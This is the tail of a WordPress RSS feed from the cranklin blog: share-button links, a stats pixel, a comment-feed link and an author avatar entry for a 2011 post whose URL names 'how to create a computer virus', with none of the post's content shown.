<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/232/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=232&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>
	</item>
	</channel>
</rss>
